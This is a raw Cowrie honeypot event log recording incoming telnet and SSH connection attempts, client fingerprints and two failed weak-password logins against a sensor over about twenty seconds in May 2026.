{"eventid":"cowrie.session.closed","duration":30.871963024139404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:10.068646Z","src_ip":"185.207.250.135","session":"2ee3c8bf4f82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45994,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a0ca128fe79","protocol":"telnet","message":"New connection: 209.159.146.115:45994 (159.203.135.109:23) [session: 8a0ca128fe79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:10.174207Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51598,"dst_ip":"159.203.135.109","dst_port":23,"session":"2702ca10ad03","protocol":"telnet","message":"New connection: 114.23.51.89:51598 (159.203.135.109:23) [session: 2702ca10ad03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:10.214922Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51614,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a281ff77587","protocol":"telnet","message":"New connection: 114.23.51.89:51614 (159.203.135.109:23) [session: 6a281ff77587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:10.233564Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56332,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c62223672c7","protocol":"telnet","message":"New connection: 23.254.167.244:56332 (159.203.135.109:23) [session: 7c62223672c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:10.265505Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51622,"dst_ip":"159.203.135.109","dst_port":23,"session":"a965de636ef9","protocol":"telnet","message":"New connection: 114.23.51.89:51622 (159.203.135.109:23) [session: a965de636ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:10.442434Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51634,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa7f1cab200","protocol":"telnet","message":"New connection: 114.23.51.89:51634 (159.203.135.109:23) [session: ffa7f1cab200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:10.850088Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51626,"dst_ip":"159.203.135.109","dst_port":23,"session":"999cb9408fc1","protocol":"telnet","message":"New connection: 114.23.51.89:51626 (159.203.135.109:23) [session: 999cb9408fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:11.552061Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51638,"dst_ip":"159.203.135.109","dst_port":23,"session":"8009782a324f","protocol":"telnet","message":"New connection: 114.23.51.89:51638 (159.203.135.109:23) [session: 8009782a324f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:11.562014Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51654,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed82567298c","protocol":"telnet","message":"New connection: 114.23.51.89:51654 (159.203.135.109:23) [session: eed82567298c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:11.932026Z"}
{"eventid":"cowrie.session.closed","duration":30.95892858505249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:13.201408Z","src_ip":"185.207.250.135","session":"15009cf2c416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847307443618774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:13.207074Z","src_ip":"185.207.250.135","session":"0f67adf5ff13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51656,"dst_ip":"159.203.135.109","dst_port":23,"session":"e49a152c3cc5","protocol":"telnet","message":"New connection: 114.23.51.89:51656 (159.203.135.109:23) [session: e49a152c3cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:13.218880Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51666,"dst_ip":"159.203.135.109","dst_port":23,"session":"64fa65e5937c","protocol":"telnet","message":"New connection: 114.23.51.89:51666 (159.203.135.109:23) [session: 64fa65e5937c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:13.256728Z"}
{"eventid":"cowrie.session.closed","duration":31.16004252433777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:13.334428Z","src_ip":"185.207.250.135","session":"e9294894a161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":50394,"dst_ip":"159.203.135.109","dst_port":23,"session":"086dbc58bec6","protocol":"telnet","message":"New connection: 185.207.250.135:50394 (159.203.135.109:23) [session: 086dbc58bec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:13.594774Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51672,"dst_ip":"159.203.135.109","dst_port":23,"session":"2724031681c1","protocol":"telnet","message":"New connection: 114.23.51.89:51672 (159.203.135.109:23) [session: 2724031681c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:13.646475Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":50876,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e3fdcebd213","protocol":"telnet","message":"New connection: 185.207.250.135:50876 (159.203.135.109:23) [session: 2e3fdcebd213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:13.966784Z"}
{"eventid":"cowrie.session.closed","duration":30.955329179763794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:14.158537Z","src_ip":"185.207.250.135","session":"dd483ea16438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.279605627059937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:14.353146Z","src_ip":"185.207.250.135","session":"1bf5b03e3550","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":51608,"dst_ip":"159.203.135.109","dst_port":23,"session":"11cbbe59f4d7","protocol":"telnet","message":"New connection: 185.207.250.135:51608 (159.203.135.109:23) [session: 11cbbe59f4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:14.748003Z"}
{"eventid":"cowrie.session.closed","duration":31.01209044456482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:14.849555Z","src_ip":"185.207.250.135","session":"a7b052ba77aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":51804,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be5d4abd174","protocol":"telnet","message":"New connection: 185.207.250.135:51804 (159.203.135.109:23) [session: 1be5d4abd174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:14.995775Z"}
{"eventid":"cowrie.session.closed","duration":31.049025774002075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:15.721565Z","src_ip":"114.23.51.89","session":"39f64c23c7ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:17.485976Z","src_ip":"176.65.139.103","session":"3a710d51c4f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37530,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a507f2afd48","protocol":"telnet","message":"New connection: 23.254.167.244:37530 (159.203.135.109:23) [session: 6a507f2afd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:17.658777Z"}
{"eventid":"cowrie.session.closed","duration":30.654476642608643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:18.179811Z","src_ip":"185.207.250.135","session":"c7878d3a54bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56454,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da33bec4953","protocol":"telnet","message":"New connection: 114.23.51.89:56454 (159.203.135.109:23) [session: 6da33bec4953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:19.223649Z"}
{"eventid":"cowrie.session.closed","duration":31.224665641784668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:20.500094Z","src_ip":"114.23.51.89","session":"dcb422492352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48652148246765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:20.639353Z","src_ip":"114.23.51.89","session":"1df4906e32e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":6775,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3eddf149063","protocol":"ssh","message":"New connection: 74.87.117.149:6775 (10.17.0.5:22) [session: e3eddf149063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:20.691288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:20.696591Z","src_ip":"74.87.117.149","session":"e3eddf149063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56474,"dst_ip":"159.203.135.109","dst_port":23,"session":"adc23e37ffca","protocol":"telnet","message":"New connection: 114.23.51.89:56474 (159.203.135.109:23) [session: adc23e37ffca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:20.705523Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":56654,"dst_ip":"159.203.135.109","dst_port":23,"session":"c41ba0f8655e","protocol":"telnet","message":"New connection: 185.207.250.135:56654 (159.203.135.109:23) [session: c41ba0f8655e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:20.718682Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:20.725005Z","src_ip":"74.87.117.149","session":"e3eddf149063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":56714,"dst_ip":"159.203.135.109","dst_port":23,"session":"aebea60d9162","protocol":"telnet","message":"New connection: 185.207.250.135:56714 (159.203.135.109:23) [session: aebea60d9162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:20.787172Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazqaz","message":"login attempt [ubuntu/qazqaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:20.859724Z","src_ip":"74.87.117.149","session":"e3eddf149063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56458,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2f8517d23f9","protocol":"telnet","message":"New connection: 114.23.51.89:56458 (159.203.135.109:23) [session: b2f8517d23f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:21.700047Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56486,"dst_ip":"159.203.135.109","dst_port":23,"session":"571d83bf3411","protocol":"telnet","message":"New connection: 114.23.51.89:56486 (159.203.135.109:23) [session: 571d83bf3411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:21.855044Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:21.886542Z","src_ip":"74.87.117.149","session":"e3eddf149063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56490,"dst_ip":"159.203.135.109","dst_port":23,"session":"162188b9b924","protocol":"telnet","message":"New connection: 114.23.51.89:56490 (159.203.135.109:23) [session: 162188b9b924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:21.985269Z"}
{"eventid":"cowrie.session.closed","duration":30.752696752548218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:22.589507Z","src_ip":"114.23.51.89","session":"f97bb69a562f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56498,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd447eafec35","protocol":"telnet","message":"New connection: 114.23.51.89:56498 (159.203.135.109:23) [session: fd447eafec35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:22.597747Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53596,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0e92c23869f","protocol":"ssh","message":"New connection: 159.203.92.129:53596 (159.203.135.109:22) [session: e0e92c23869f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:23.514425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:23.519869Z","src_ip":"159.203.92.129","session":"e0e92c23869f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:23.524964Z","src_ip":"159.203.92.129","session":"e0e92c23869f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49190,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1573d77ad4d","protocol":"telnet","message":"New connection: 209.159.146.115:49190 (159.203.135.109:23) [session: d1573d77ad4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:23.535737Z"}
{"eventid":"cowrie.login.failed","username":"anna","password":"11111","message":"login attempt [anna/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:23.544627Z","src_ip":"159.203.92.129","session":"e0e92c23869f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.076929569244385,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:23.619460Z","src_ip":"209.159.146.115","session":"f048520942e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83069396018982,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:24.456134Z","src_ip":"209.159.146.115","session":"60e80b5123e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:24.554011Z","src_ip":"159.203.92.129","session":"e0e92c23869f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56504,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0fd07e71442","protocol":"telnet","message":"New connection: 114.23.51.89:56504 (159.203.135.109:23) [session: c0fd07e71442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:24.673401Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56520,"dst_ip":"159.203.135.109","dst_port":23,"session":"255287a63054","protocol":"telnet","message":"New connection: 114.23.51.89:56520 (159.203.135.109:23) [session: 255287a63054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:25.899464Z"}
{"eventid":"cowrie.session.closed","duration":33.93782114982605,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:26.145002Z","src_ip":"23.254.167.244","session":"4e44e10dbc7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48740,"dst_ip":"159.203.135.109","dst_port":23,"session":"61c09193046b","protocol":"telnet","message":"New connection: 23.254.167.244:48740 (159.203.135.109:23) [session: 61c09193046b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:26.417869Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36226,"dst_ip":"159.203.135.109","dst_port":23,"session":"14aa11c0811f","protocol":"telnet","message":"New connection: 209.159.146.115:36226 (159.203.135.109:23) [session: 14aa11c0811f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:26.546210Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49766,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef8507d2a24f","protocol":"telnet","message":"New connection: 23.254.167.244:49766 (159.203.135.109:23) [session: ef8507d2a24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:27.590245Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38410,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fc935287f6e","protocol":"telnet","message":"New connection: 114.23.51.89:38410 (159.203.135.109:23) [session: 3fc935287f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:27.769779Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":38426,"dst_ip":"159.203.135.109","dst_port":23,"session":"b712a5f6b7f4","protocol":"telnet","message":"New connection: 114.23.51.89:38426 (159.203.135.109:23) [session: b712a5f6b7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:27.953335Z"}
{"eventid":"cowrie.session.closed","duration":30.902283668518066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:28.645330Z","src_ip":"114.23.51.89","session":"b53979d7852f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":40538,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef5e10461393","protocol":"ssh","message":"New connection: 80.94.92.182:40538 (10.17.0.5:22) [session: ef5e10461393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:29.042656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:29.151739Z","src_ip":"80.94.92.182","session":"ef5e10461393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:29.241414Z","src_ip":"80.94.92.182","session":"ef5e10461393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69101905822754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:30.114990Z","src_ip":"185.207.250.135","session":"9031410cc57e","protocol":"telnet"}
